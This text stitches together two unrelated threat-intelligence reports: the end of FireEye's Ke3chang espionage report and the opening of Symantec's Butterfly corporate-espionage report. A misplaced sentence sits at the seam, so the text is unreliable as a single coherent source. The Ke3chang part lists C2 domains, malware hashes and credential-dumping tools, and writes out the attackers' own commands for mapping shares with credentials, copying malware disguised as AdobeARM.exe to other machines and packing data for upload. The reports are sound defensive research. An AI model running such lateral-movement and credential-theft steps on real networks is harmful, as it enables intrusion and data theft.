Dropped File MD5 Compile Date Family URI Mark/Tag Decoy/Lure Theme 072af79bb2705b27ac2e8d61a25af04b 2010-01-25 MyWeb myweb 82b1712156c5af50e634914501c24fb1 2010-01-25 MyWeb myweb 8c8d6518910bc100e159b587a7eb7f8d 2010-05-10 MyWeb myweb 649691e1d367721f0ff899fd31133915 2010-07-08 BMW tiger aa0126970bab1fa5ef150ca9ef9d9e2e 2010-07-08 BMW tiger 5cc39185b302cc446c503d34ce85bab7 2010-07-08 BMW tiger be58180f4f7ee6a643ab1469a40ffbca 2011-01-20 MyWeb myweb 2a3da83f4037ad82790b2a6f86e28aa2 2011-05-31 MyWeb Eourdegh European Security and Defense 09b5f55ce2c73883c1f168ec34d70eb9 2011-10-18 BS2005 ke3chang snake Carla Bruni 5ee64f9e44cddaa7ed11d752a149484d 2012-03-13 BS2005 shfam9y dream London Olympics 026936afbbbdd9034f0a24b4032bd2f8 2012-03-22 BS2005 shfam9y dolphin London Olympics 98f58f61f4510be9c531feb5f000172f 2012-06-01 BS2005 shfam9y newtiger McAfee Report 8c7cf7baaf20fe9bec63eb8928afdb41 2012-07-10 BS2005 shfam9y dream 4c46abe77c752f21a59ee03da0ad5011 2012-08-28 BS2005 shfam9y newtiger e75527a20bb75aa9d12a4d1df19b91fa 2012-08-30 BS2005 shfam9y black abe4a942cb26cd87a35480751c0e50ae 2012-09-07 BS2005 shfam9y sun 62af361228a14b310042e69d6bab512c 2012-09-19 BS2005 shfam9y yong 4c86634100493f0200bbdaf75efa0ebe 2012-11-19 BS2005 shfam9y pretty 703c9218e52275ad36147f45258d540d 2013-04-18 BS2005 p3oahin logon 277487587ae9c11d7f4bd5336275a906 2013-07-25 BS2005 p3oahin moviestar Syria 777aab06646701c2c454db5c06982646 2013-07-25 BS2005 p3oahin odyssey Second stage / moviestar c2c1bc15e7d172f9cd386548da917bed 2013-07-25 BS2005 p3oahin odyssey Draft agenda c718d03d7e48a588e54cc0942854cb9e 2013-08-21 BS2005 p3oahin brighto National Day Arrangement e4d8bb0b93f5da317d150f039964d734 2013-09-18 BS2005 p3oahin golden Table 1: Ke3chang samples analyzed FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 15 Command and Control Analysis The Ke3chang attackers CnC infrastructure relies primarily on domains obtained from dynamic DNS providers.
The attackers shift IP addresses frequently and often point their CnC domains to legitimate IP addresses when they are not in use.
To date, we have observed the following domains used by each of these malware families: BS2005 g20news.ns01.us news.studenttrail.com skyline.ns1.name www.trap.dsmtp.com ftp.backofficepower.com news.freewww.info blackberry.dsmtp.com adele.zyns.com windowsupdate.serveuser.com officescan.securitynh.com yahoo.concursv.com cascais.epac.to www.errorreporting.sendsmtp.com www.sumba.freetcp.com google.winfy.info cname.yahoo.sendsmtp.com BMW mail.yahoo.sendsmtp.com update.msntoole.com MyWeb expo2010.zyns.com win7.sixth.biz ensun.dyndns.org www.spaces.ddns.us blog.strancorproduct.info5 5 The sample was not located for this CnC however, the callback and response captured by JsUnpack is consistent with the Eourdegh variant of the MyWeb malware, as outlined here: http://jsunpack.jeek.org/dec/go?reporte5f9dae61673a75db6dcb2475cb6ea8f22f66e9a FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 16 We have mapped out the relationship between the CnC servers for all three malware families and have found that they have shared common historical IP addresses in the past.
Using the IP addresses from the 23 CnC servers FireEye collected from our initial samples, we then mapped all the IP addresses that these domains resolved to.
We then collected any other domains that also resolved to these IP addresses, resulting in at least 99 possible Ke3chang CnC servers.
Figure 11.
Common Ke3chang CnC infrastructure Figure 12.
Expanded Ke3chang CnC infrastructure FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 17 Upon further analysis, we find that these 99 CnC servers are primarily located in the U.S., China, and Hong Kong.
Figure 13.
Geolocation of Ke3chang CnC infrastructure Figure 14.
Ke3chang CnC control panel Ke3chang CnC control panel Upon accessing one of the Ke3chang CnC servers, we found that the attackers have a Web-based control panel that allows them to interact with compromised computers, as shown in Figure 14.
The control panel also contains a link to an AutoScanner feature that includes several preconfigured commands to gather information about a compromised system and perform network reconnaissance on the endpoint (see Figure 15).
FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 18 Figure 15.
Ke3chang AutoScanner commands Figure 16.
Ke3chang AutoScanner command panel output Information gathering / lateral movement analysis Once a compromised system connects to the CnC server, the Ke3chang attackers follow a predetermined script.
They first gather information about the local computer and the network to which it is connected.
FireEye found the following tools on the CnC server, which the attackers used to steal logon credentials and move laterally across the network: a7b20fe0bc6ae7f7a24670a732d2a021 gs.exe gsecdump v0.7 by [REDACTED] ([REDACTED]truesec.se) 291503be3c25e52382f2a54420d03d71 gsl.exe gsecdump v0.6 by [REDACTED] ([REDACTED]truesec.se) 8cdc9ffadbe4aad9418580b6ba2cc252 nete.exe NetE v1.0 Questions, comments, bitches and bugs to [REDACTED]cultdeadcow.com 8cf6e698ecf3e167321a3ed2b9a9c62f PwDul2.exe 8cf6e698ecf3e167321a3ed2b9a9c62f PwDump62.l.exe Usage: PwDul2.exe [-x][-n][-h][-o output_file][-u user] [-p password][-s share] machineName FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 19 After running the standard commands available in the AutoScanner, the attackers often used the net group command to acquire information about specific network groups revealed in the pre- configured commands.
This step was done manually we found several instances of typing errors, such as the following: net group [REDACTED] /doamin net group /doamin The attackers then listed information for specific users, focusing on users and groups suspected of possessing advanced rights such as domain administrators and service accounts that have access to a wide range of systems.
Then they used the net use command to map network drives, including some that required a password, as follows: net use \\[REDACTED] [REDACTED]:J: /user:[REDACTED] In some cases, they appeared to try and move laterally by copying a file (always initially called msn.tmp) to other machines on the network.
They frequently changed the destination directory and filename of the target file, presumably to make finding the malware more difficult for incident responders upon initial discovery.
net use \\172.xx.xx.x [REDACTED] /u:172.xx.xx.x\[REDACTED] dir \\172.xx.xx.x\c dir \\172.xx.xx.x\c\Program Files\Adobe copy C:\Users\[REDACTED]\AppData\Local\Microsoft\Windows\msm.tmp \\172.xx.xx.x\c\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe /y The attackers then deleted the network shares: net use \\[REDACTED] /del After that, attackers gathered specific data of interest (such as the listings of all files in certain directories), and compressed it all within the RAR archive as follows: temp/wmp32.dll a -m5 hp[REDACTED] temp/tem.rar temp\dir.
They then checked the RAR archive, uploaded it to the CnC server, and deleted the archive from the compromised system: dir temp/tem.rar del C:\DOCUME1\[REDACTED]\[REDACTED]\Temp\tem.rar During our window of visibility, FireEye found evidence that the attackers were able to enumerate the various target networks, move laterally to compromise new systems, and finally to gather information that was compressed and uploaded to the CnC server.
However, FireEye lost visibility on this Ke3chang CnC server before the attackers shifted to the major data exfiltration phase.
FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 20 Attribution Analysis Determining attribution requires more than just malware analysis.6 It requires an understanding of the attackers activities across the attack life cycle (or kill chain), along with an assessment of contextual indicators, such as the targeting, timing, and scope of the attacks.7 Unfortunately, this level of visibility is not always available, which often leaves significant gaps in analysis.
Therefore, exploring competing hypotheses is important, as is recognizing, and acknowledging areas of uncertainty.8 Moreover, attribution can have multiple meanings.
Some use it to refer to an ultimate beneficiary, such as a nation-state, while others use the term to refer to malware authors or CnC operators.9 During our investigation, FireEye focused on technical clues left by the malware authors and CnC operators.
Within the malware binaries themselves, linguistic clues point to the malware authors use of the Chinese language, as seen in Figure 17.
6 Bejtlich, R. Attribution Using 20 Characteristics .
January 2010.
7 Cloppert, M. Defining APT Campaigns.
June 2010.
Cloppert, M. Attacking the Cyber Kill Chain.
October 2009.
8 Carr, J. Mandiant APT1 Report Has Critical Analytic Flaws.
February 2013.
9 Clark, D.  Landau, S. Untangling Attribution in Proceedings of a Workshop on Deterring Cyberattacks: Informing Strategies and Developing Options for U.S. Policy.
2010.
Boebert, W. A Survey of Challenges in Attribution in Proceedings of a Workshop on Deterring Cyberattacks: Informing Strategies and Developing Options for U.S. Policy.
2010.
Figure 17.
PE resource containing Chinese text present in BS2005 sample FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 21 In addition, the Ke3chang CnC control panel contains a mix of Chinese and English words and characters.
The subset of CnC servers that were not hosted by dynamic DNS infrastructure was registered using a registrar in China (XIN NET) and the WHOIS records indicate that the registrant is in China.
The following email addresses were used to register those non-dynamic CnC domains: xiaoxiao_222yahoo.com tk329yahoo.com zsygmail.com During our period of visibility into the BS2005 moviestar campaign against various ministries of foreign affairs in Europe, FireEye discovered that the attackers had initially tested the malware in virtual machines, prior to compromising actual targets.
We retrieved the output of the commands the attackers had run when testing the malware.
The output indicates that the Ke3chang attackers are testing their malware in Windows operating systems, with the default language set to Chinese.
Figure 18.
Test CnC output generated by the Ke3chang actor after infecting their test endpoints with BS2005 malware Based on this circumstantial evidence we believe that the Ke3chang attackers are operating within China.
But their exact identities and motivation remain unknown.
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RPT.OK.EN-US.122013 Conclusion Ministries of foreign affairs in Europe have been targeted and compromised by a threat actor we call Ke3chang.
This attack used the crisis in Syria as a lure to deliver malware to its targets.
The timing of the attack precedes the G20 meeting in Russia that focused on the crisis in Syria.
Furthermore, FireEye has presented evidence indicating that the Ke3chang attackers have been active since at least 2010 and have attacked targets related to G20 meetings in the past.
During our investigation, we were able to observe the inner workings of one of the CnC servers used by the attackers.
As a result, we were able to identify some of the victims of the attack, as well as gather circumstantial evidence that indicates that the attackers may be operating from China.
During our brief window of visibility into one of the known 22 CnC nodes, FireEye observed the attackers conducting reconnaissance and moving laterally throughout the compromised networks.
Relevant authorities were immediately notified upon this discovery, and FireEye began its worldwide target notification process.
At that time, FireEye did not observe the attackers exfiltrating sensitive data however, we believe the Ke3chang attackers likely began attempting to exfiltrate sensitive data shortly thereafter.
Accordingly, diplomatic missions, including ministries of foreign affairs, continue to be targeted by malware-based espionage campaigns.
This report demonstrates that attackers are able to successfully penetrate government targets using exploits for vulnerabilities that have already been patched and despite the fact that these ministries have defenses in place.
This illustrates the limitations of traditional defenses and highlights the need for security strategies that not only leverage advanced technologies designed to defend against targeted threats, but also the incorporation of threat intelligence and an incident response capability.
To learn more about FireEye, visit www.
FireEye.com.
About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real- time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways.
The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors, including mobile, Web, email, and files and across the different stages of an attack life cycle.
The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time.
FireEye has over 1,300 customers across more than 40 countries, including over 100 of the Fortune 500.
SECURITY RESPONSE There are some indications that this group may be made up of native English speakers, are familiar with Western culture, and may operate from an Eastern Standard Time (EST) time zone.
Butterfly: Corporate spies out for financial gain Symantec Security Response Version 1.1  July 9, 2015 CONTENTS OVERVIEW ..................................................................... 3 Background ................................................................... 6 The corporate espionage threat .............................. 6 Butterfly attacks against tech firms ....................... 6 Victims .......................................................................... 8 Industries ................................................................ 9 Targeted computers .............................................. 10 Tools, tactics, and procedures .................................... 10 Gaining initial access ............................................. 10 Spreading .............................................................. 11 The Butterfly toolkit .............................................. 11 Operational security .............................................. 12 Attribution ................................................................... 14 Conclusion ................................................................... 16 Protection .................................................................... 17 Appendix ..................................................................... 19 Technical description of Backdoor.
Jiripbot ........... 19 File hashes  ............................................................ 28 Butterfly is a group of highly capable, professional attackers who perform corporate espionage with a laser-like focus on operational security.
The team is a major threat to organizations that have large volumes of proprietary intellectual property, all of which is at risk of being stolen by this group for monetary gain.
The Butterfly attackers, who Symantec believes are a small number of technically capable individuals, compromised several major technology companies including Twitter, Facebook, Apple and Microsoft in early 2013.
In these campaigns, the attackers used a Java zero-day exploit to drop malware onto victims computers.
Since those attacks, there has been little-to-no public information about the Butterfly attackers.
Symantec has been working with victims to track these attackers over the past two years.
We found that Butterfly compromised multiple pharmaceutical companies, technology firms, law practices, and oil and precious metal mining organizations during this period.
The attackers are versatile and spread their threats quickly within compromised organizations.
They may also have had access to at least one other zero-day exploit, affecting Internet Explorer 10.
There are some indications that this group may be made up of native English speakers, are familiar with Western culture, and may operate from an Eastern Standard Time (EST) time zone.
OVERVIEW Prior to Butterfly, the majority of documented cyberespionage attacks has been conducted against politically sensitive entities such as embassies, government ministries, central banks, dissidents, militaries, and associated defense contractors.
Government-sponsored attackers have also attacked private sector organizations, presumably to steal intellectual property in order to provide their local industry with an unfair advantage in the market.
Butterfly is a timely reminder to organizations that as well as defending against state-sponsored attacks, organizations must be aware of the potential threat of corporate espionage, where attacks are performed at the behest of competitors or by individuals looking to monetize stolen information such as through stock trading using insider knowledge.
A key difference between attacks coming from competitors and state- sponsored attackers is that competitors are likely in a better position to request the theft of specific information of value and make more rapid use of this information than government-sponsored attackers would.
Butterfly appears to be part of this class of attack group.
The attackers appear to be motivated by financial gain, either by using the information themselves for their own benefit or selling it to a third party.
Morpho was used in the original publication to refer to this attack group.
Symantec has renamed the group Butterfly to avoid any link whatsoever to other legitimate corporate entities named Morpho.
The attackers appear to be motivated by financial gain, either by using the information themselves for their own benefit or selling it to a third party.
BACKGROUND Page 6 Butterfly: Corporate spies out for financial gain Background The corporate espionage threat Prior to Butterfly, the majority of documented cyberespionage attacks has been conducted against politically sensitive entities such as embassies, government ministries, central banks, dissidents, militaries, and associated defense contractors.
Government-sponsored attackers have also attacked private sector organizations, presumably to steal intellectual property in order to provide their local industry with an unfair advantage in the market.
Butterfly is a timely reminder to organizations that as well as defending against state-sponsored attacks, organizations must be aware of the potential threat of corporate espionage, where attacks are performed at the behest of competitors or by individuals looking to monetize stolen information such as through stock trading using insider knowledge.
A key difference between attacks coming from competitors and state-sponsored attackers is that competitors are likely in a better position to request the theft of specific information of value and make more rapid use of this information than government-sponsored attackers would.
Butterfly appears to be part of this class of attack group.
The attackers appear to be motivated by financial gain, either by using the information themselves for their own benefit or selling it to a third party.
Butterfly attacks against tech firms On February 1, 2013, Twitter published a blog, stating that it had discovered one live attack and added that it was able to shut it down in process moments later.
Twitter encouraged users to disable Java in their browsers.
The attackers were extremely sophisticated, and we believe other companies and organizations have also been recently similarly attacked, said Twitter.
Fourteen days later, on February 15, Facebook issued a statement, disclosing that several of its systems had been targeted in a sophisticated attack.
Facebook said that the attackers used a zero-day (previously unseen) exploit to bypass the Java sandbox, which had been hosted on a mobile developer website that was compromised.
Reuters referenced a similar statement from Apple a few days later on February 19.
According to Apple, attackers used a Java zero-day exploit to compromise a number of Apple employees Mac OS X computers.
Apple said that the exploit was delivered through a site aimed at iPhone developers.
Finally, Microsoft published a statement on February 22, stating that it too had experienced a similar security intrusion as the ones reported by Facebook and Apple.
The attacks against these technology firms appeared to take place between 2012 and early 2013.
The zero-day exploit referred to in the various statements took advantage of the Oracle Java Runtime Environment Multiple Remote Code Execution Vulnerabilities (CVE-2013-0422).
The vulnerability had been patched by Oracle on January 13, 2013, after the attacks occurred.
Various parties published details of the attack vector, as well as the malware used in the attacks, several days later.
F-Secure blogged that a Mac OS X back door (detected by Symantec as OSX.Pintsized) was the attacks payload.
According to the website StopMalvertising, the compromised website that hosted the exploit was an iPhone developer website called iPhoneDevSDK.com.
Independent researcher Eric Romang published some technical details about the attacks and established a timeline suggesting that the attackers have been active from September 2012.
Symantec telemetry indicates that the timeline goes back even further than this, with malicious activity starting from at least April 2012.
Romang analyzed many of the OSX.Pintsized samples and also identified a Windows back door, which he claimed was related to the attacks.
This Windows file is a variant of what Symantec detects as Backdoor.
Jiripbot.
Other vendors called the variant Jripbot.
Since Romangs analysis, there has been little-to-no public information related to the attackers behind the Java zero-day exploit or the use of OSX.Pintsized and Backdoor.
Jiripbot.
Some victims seem to have been compromised as a result of collateral damage, as the attackers appeared uninterested in them and either cleaned up or abandoned the infection.
VICTIMS Page 8 Butterfly: Corporate spies out for financial gain Victims After the events of late 2012 and early 2013, the Butterfly attackers appeared to have maintained a low profile, compromising a small number of organizations.
Each year however, that number has increased.
Symantec has discovered that the Butterfly attackers have compromised 49 unique organizations.
Out of the 49 organizations, 27 of the companies industries could be identified, while the remaining are unknown.
Some victims seem to have been compromised as a result of collateral damage, as the attackers appeared uninterested in them and either cleaned up or abandoned the infection.
However, other victims were clearly of value to Butterfly, as the attackers spread quickly in the networks until they found computers of interest.
The chart in Figure 1 shows the number of infected organizations per industry over time.
The graph is filtered to only include organizations that could be classified into a sector.
Symantec found that there was a lull in activity following the very public documentation of the late 2012 and early 2013 attacks.
Butterflys activity resumed in August 2013, and there has been a substantial increase in the number of victims from late 2014 to the present.
The three regions that were most heavily targeted by Butterfly since 2012 are shown in Figure 2.
The other regions affected by Butterflys attacks are: Brazil China Hong Kong India Israel Japan Kazakhstan Malaysia Morocco Nigeria Taiwan Thailand South Korea United Arab Emirates Figure 1.
Number of infected organizations per industry by year Figure 2.
Three regions most heavily targeted by Butterfly attackers Page 9 Butterfly: Corporate spies out for financial gain The industries of known victims have remained relatively consistent over time, with some notable exceptions.
Industries The Java zero-day attack that exploited CVE-2013-0422 appears to have targeted technology companies, judging from the nature of the watering-hole website.
This claim is backed up by the organizations that publicly reported how they were compromised in the attacks.
Butterfly has continued to target a number of technology companies, which are primarily based in the US.
Other Butterfly victims of note are involved in the pharmaceutical, legal, and commodities industries.
The Butterfly attackers continued to attack these industries intermittently over the following two years.
Pharmaceutical In January 2014, a major European pharmaceutical company was compromised.
The attackers appear to have first breached a small European office and a month later, spread across the network to the companys US office, as well as the European headquarters.
Two more major European pharmaceutical companies were later compromisedone in September 2014 and the other in June 2015.
In both incidents, the attackers appear to have gained access to computers in several regional offices.
In the June 2015 compromise, the affected company quickly identified the infection from Symantecs alerts, as well as other notifications on Secure Shell (SSH) traffic on non-standard ports.
Technology The Butterfly attackers have consistently targeted major technology companies from late 2012 to the present.
At least five companies, in addition to those who publicly documented the attacks in 2013, have been compromised, to Symantecs knowledge.
The technology companies are primarily headquartered in the US.
Law In the watering-hole attacks of early 2012, two US-based law firms were attacked.
No other known legal entities were attacked until June 2015, when the Central Asian offices of a global law firm were compromised.
This most recent victim specializes in a number of topics, including finance and natural resources specific to the region.
Commodities Two major natural resources organizations were compromised in late 2014.
These organizations specifically work with gold and oil.
The timing of these compromises, along with the later breach of the law firm as previously mentioned, is notable.
It seems very likely that the Butterfly attackers have a specific interest in the commodities industry and are in a position to profit from information stolen from the breached organizations.
Figure 3.
Timeline showing when attacks against different industry sectors began Page 10 Butterfly: Corporate spies out for financial gain Government, logistics, and education A number of victims appear to have been of little interest to the attackers.
This was the case for one Middle Eastern government agency, a Japanese logistics company, and an American university.
With all three victims, either the attack was not successful or, if it was, the malware was not used after the initial compromise.
It seems likely that these victims were collateral damage.
Targeted computers The attackers focused on obtaining access to specific systems of interest in all of the compromised organizations.
In most organizations, these systems were email servers: either Microsoft Exchange or Lotus Domino servers.
Once the attackers had this access, they presumably then eavesdropped on email conversations and may have been in a position to potentially insert fraudulent emails as well.
Other systems that the attackers compromised were enterprise content management servers.
These systems are used for indexing and storing a companys various documents and other digital assets.
Such servers would not contain source code, but rather legal documents, internal policies, training documents, product descriptions, and financial records.
In one technology company breach, Butterfly compromised a more unusual system.
The attackers gained access to what is known as a Physical Security Information Management (PSIM) system.
This software is used for aggregating, managing, and monitoring physical security systems and devices.
The physical security systems could consist of CCTV, swipe card access, HVAC, and other building security.
After compromised that system, the attackers could have monitored employees through the companys own CCTV systems and tracked the activities of individuals within the building.
Tools, tactics, and procedures Butterfly operates consistently across its breaches, deploying the same set of tools and targeting the same types of computers, which we detail in the Victims section of this report.
Butterfly adapts quickly to targeted environments and takes advantage of systems already in place, such as remote access tools or management systems, in order to spread across the network.
While Butterfly has used one confirmed zero-day exploit (CVE-2013-0422), the group appears to have used at least one more zero-day exploit against a vulnerability in Internet Explorer 10.
Based on our analysis of a command-and-control (CC) server used in an attack, the Butterfly operators demonstrate exceptional operational security, as they use encrypted virtual machines and multi-staged CC servers to make it difficult to investigate their activities.
Gaining initial access The attack vector for Butterflys campaigns in late 2012 and early 2013 was well documented.
The group conducted a watering-hole attack that compromised a popular mobile phone developer website, iPhoneDevSDK.
com, to deliver a Java zero-day exploit.
However, little information is known about how the Butterfly attackers have continued to gain access to victims systems, except for a few cases.
In one of the most serious cases, on June 25, 2014, Internet Explorer 10 created a file called bda9.tmp on a victims computer.
It is likely that bda9.tmp was created as a result of an exploit targeting Internet Explorer.
Bda9.tmp was then executed and went on to create a variant of Backdoor.
Jiripbot with the file name LiveUpdate.exe.
The affected version of Internet Explorer was a fully up-to-date, patched version of the browser, so the exploit was very likely either a zero-day for Internet Explorer 10 or for a plugin used in Internet Explorer.
Microsoft patched a number of Internet Explorer 10 remote code execution vulnerabilities in subsequent Patch Page 11 Butterfly: Corporate spies out for financial gain Tuesday releases.
It is possible that one of these patches covered the exploit, as there is no additional evidence of an Internet Explorer 10 exploit in use.
It was not possible to identify the website hosting the exploit or to retrieve a copy of the exploit.
In late 2014, Java was used to create a file called updt.dat on a system belonging to another targeted organization.
The updt.dat file was located in a JBossweb folder, which is a sub-folder of Apache Tomcat.
Based on this activity, it seems likely that the JBoss server was compromised to deploy the malware.
The breach may have been a result of an SQL injection attack.
This is based on evidence from an analyzed CC server, where we discovered that the Butterfly attackers use the SQLMap tool against their targets.
Once Butterfly gains a foothold in the victims network, they begin to carefully spread through it, until they locate a system of interest.
Spreading In at least two incidents, the attackers appear to have taken advantage of internal systems to spread through a network once they gained initial access.
In one instance, the attackers used a Citrix profile management application to create a back door on a newly infected system.
This application can be used to install applications or manage a users profile for authentication.
Its likely that the attackers took advantage of this system and placed the back door in a specific profile, which was triggered when the profiles owner logged in.
In the second incident, the TeamViewer application was used to create copies of Backdoor.
Jiripbot on the compromised computers.
It appears that TeamViewer was legitimately present on the targeted computers and was then taken advantage of by the attackers.
However the attackers spread within a network, they are able to move quickly.
In one breach, the attackers first compromised a computer on April 16, 2014.
Within one day, they compromised three more computers.
Once a computer is infected, the attackers seem to rapidly determine whether or not the computer is valuable to them.
There are two instances where there was no additional Butterfly activity after the computers were infected, apart from the creation of shred.exe.
In these cases, the attackers likely determined that the infected computers were not valuable targets and used shred.exe to securely remove the infections.
The Butterfly toolkit The Butterfly attackers use a number of different tools, a subset of which has been retrieved from compromised computers.
This set of tools appears to be unique to the attackers, as the tools have been in use in combination with each other and there has been no open source data on the various tools used.
The attackers use the hacking tools once they gain a foothold on a network.
They generally give the tools .dat extensions and file names that usually give some indication of the tools purposes.
For example, the attackers refer to one of the tools as Banner Jack and deploy it with the name bj.dat.
It is likely that these files are encrypted when they are downloaded and are then decrypted when on disk.
Known hashes and corresponding file names are listed in the appendix under the Hashes section.
A number of the hacking tools also contain help documentation, which details how to use the tool.
Each help description is listed in the appendix, where present.
OSX.Pintsized and Hacktool.
Securetunnel The back door OSX.Pintsized was well documented by F-Secure, Intego, and Romang after the 2012/2013 tech company attacks.
OSX.Pintsized is a modification of OpenSSH that runs on Mac OS X, and contains additional code to read two new arguments and an embedded RSA key.
The two additional arguments are -z and -p, which are used to pass a CC server address and port respectively.
The back door has also been observed using a very basic Perl script that opens a reverse shell.
Page 12 Butterfly: Corporate spies out for financial gain The Butterfly attackers use the same modified version of OpenSSH on 32-bit Windows systems.
This version uses the exact same -z and -p additional arguments and also includes an embedded RSA key.
The attackers have two versions: one which is statically linked against OpenSSH and the other which is compiled using a Cygwin DLL.
Symantec detects these samples as Hacktool.
Securetunnel.
Backdoor.
Jiripbot Romang referenced a malware family called Backdoor.
Jiripbot (aka Jripbot) in his blog.
This is the Butterfly groups primary back door tool, which has a fallback domain generation algorithm (DGA) for maintaining command and control.
A comprehensive technical description of this malware family is provided in the appendix.
One notable point about Backdoor.
Jiripbot is the use of the string AYBABTU as an encryption key.
This is the acronym for All your base are belong to us, a popular meme used by gamers.
The attackers have used several variants of this malware family from 2013 to at least June of 2015, with several minor modifications adding or removing commands.
Hacktool.
Bannerjack Hacktool.
Bannerjack is used to retrieve default messages issued by Telnet, HTTP, and generic Transmission Control Protocol (TCP) servers.
The help documentation for the tool is listed in the appendix.
The tool takes an IP address range and port.
It then connects to each IP address on a given port, retrieving and logging any data printed by the server.
The tool is presumably used to locate any potentially vulnerable servers on the local network, likely including printers, routers, HTTP servers, and any other generic TCP servers.
Hacktool.
Multipurpose Hacktool.
Multipurpose also appears to be a custom-developed tool.
It is designed to assist attackers in spreading through a network.
It hides activity by editing events logs, dumping passwords, securely deleting files, encrypting files, and performing basic network enumeration.
The help documentation for this tool is quite comprehensive and extensively explains the tools functionality.
This documentation is listed in the appendix.
Hacktool.
Eventlog Hacktool.
Eventlog is another multipurpose tool, but its primary functionality is to parse event logs, dumping out ones of interest, and to delete entries.
The tool will also end processes and perform a secure self-delete.
The help documentation for the tool is listed in the appendix.
Hacktool.
Proxy.
A Hacktool.
Proxy.
A creates a proxy connection that allows attackers to route traffic through an intermediary node onto their destination node.
The documentation for the tool is listed in the appendix.
Operational security The Butterfly attackers have demonstrated excellent operational security, as we have observed in several aspects of their attacks.
The Butterfly attackers use a number of anti-forensics techniques to prevent detection and presumably hinder investigation into their activity when discovered.
The groups malware and other files are securely deleted using either the GNU Shred tool, which overwrites a files contents as well as deleting the index from the file allocation Page 13 Butterfly: Corporate spies out for financial gain table, or the shred functionality written into a custom tool.
Similarly, event logs are modified to remove any evidence of the attackers activity.
A specific tool, Hacktool.
Eventlog, appears to have been developed to perform just this function.
Using both techniques, the attackers can securely remove infections from computers that are of no interest, letting them avoid leaving any trace of activity.
Another aspect of Butterflys operational security is the use of throwaway registrant names for CC domains.
There appears to be no re-use of email addresses or names when registering different domains and CC servers.
Similarly, the Butterfly attackers use bitcoins to pay hosting providers to host their CC servers.
This method of payment makes it difficult for investigators to track the transaction back to a particular entity.
Finally, one of the most telling aspects of the Butterfly attackers level of operational security is how they run their CC servers.
Symantec performed a forensic analysis of a CC server used by the Butterfly attackers in late 2014.
These attackers typically use a multi-staged CC infrastructure, with several servers acting as proxies and redirecting connections back to a final server.
Symantec believes that the analyzed server was this final server, however, it was not possible to confirm this.
The analyzed server was running Debian Linux and was very clean, with little traces of activity.
Logging had been disabled and any log files that had been created before logging was disabled were securely deleted.
A single file was present in the /root/ directory.
This file, called hd-porn-corrupted_tofix.rar, was 400GB in size.
Despite the .rar extension, it was not a .rar file.
However, there were some indications on the server as to what this file actually was.
Truecrypt was installed on the server, as was Virtual Box.
Truecrypt is an encryption tool that can be used to create an encrypted file system in a single file.
Virtual Box is software that can be used to run a virtual machine.
It is likely that the 400GB .rar file was an encrypted Truecrypt file which contains a Virtual Box virtual machine.
The Butterfly attackers would decrypt and run the virtual machine, redirecting SSH traffic from the physical hosting server to the virtual machine.
This would give the attackers the ability to control compromised systems from within the virtual machine.
This type of design is effective at hindering analysis without a live memory image of the CC server.
There were other hints of activity on the CC server as well.
There was evidence to suggest that the attackers used the SQLMap tool.
This tool looks for SQL weaknesses in web applications, and indeed, as previously mentioned, at least one victim was compromised through a JBoss server, possibly through an SQL injection attack.
Also, the local time zone of the CC server was changed to New York, UTC-5.
However, apart from the SQLMap activity and the modified time zone, there was no other evidence on the CC server.
The Butterfly attackers maintained a very clean house.
Page 14 Butterfly: Corporate spies out for financial gain Attribution Based on the gathered evidence, there are several plausible theories that describe the nature of the Butterfly attackers.
A summary of some of the data gathered is presented below: Victims are primarily large corporations, mostly related to technology, pharmaceutical, commodities, and law.
The targeted technology companies are mostly based in the US, however, other victims are spread across the globe.
There is one government victim Infection numbers are generally quite low there are not many concurrent infections Activity remains consistent across infected organizations the attackers use same file names and deploy the same tools The group has excellent operational security The attackers have had access to at least one zero-day exploit, likely two and possibly more.
The attackers appear to develop their own tools.
The groups various hacktools have extensive documentation written in good English.
Several memes or colloquialisms specific to English speakers are used All your bases are belong to usThe AYBABTU encryption key in Backdoor.
Jiripbot StuffzA phrase used in the Hacktool.
Multipurpose description ZapTo mean delete, used in the Hacktool.
Eventlog description The time zone of the CC server is set to EST The nature of the observed victims indicates that its likely that Butterfly attackers motivation is not for national security intelligence, but rather for financial purposes.
While there is one government victim, this likely appears to be collateral damage.
As the hack tools include detailed documentation, its likely that there is more than one person performing the attacks, as a single attacker would not need to document their own tools.
Based on the few concurrent infections, Butterfly may be made up of a small number of attackers, perhaps between three and ten people.
It is also easier to maintain good operational security with a small number of people.
The attackers are well resourced, given that they have access to at least one zero-day (the Java exploit), and possibly more (potential Internet Explorer 10 zero-day exploit).
Their access to zero-day exploits implies that they either have the funding to purchase a zero-day or the technical skills to identify and exploit undiscovered vulnerabilities.
If the Butterfly group is small, then it would make more sense to utilize people with a general skill set, rather than individuals who specialize in exploit discovery.
This implies that the purchase of zero-day exploits is more likely.
Along with this, if Butterfly is a professional group of hackers who work against deadlines and has internal goals, that would imply the need to be able to access zero-day exploits on demand.
That would mean purchasing them, rather than waiting for a team member to discover one.
At least some of the Butterfly attackers appear to be native English speakers, based on the help documentation in the hack tools and the use of memes and colloquialisms.
It is possible that these English speakers are based in the US, judging from the time zone set on the CC server.
However, this seems like a very basic mistake for the attackers to make, considering how they have demonstrated great attention to detail in most aspects of their operations.
Some attribution theories that may fit the evidence and conclusions are as follows: This is economic espionage by a government agency This is an organization made up of hackers-for-hire This is an organization with a single customer A government agency is the least likely of these theories, given the number of victims that span across various geopolitical boundaries and the lack of targeting of any victims that are related to traditional intelligence-gathering.
It is far more likely that the Butterfly attackers are an organization of individuals working closely together to either steal intellectual property for another client or for their own financial gain, for example through the stock market.
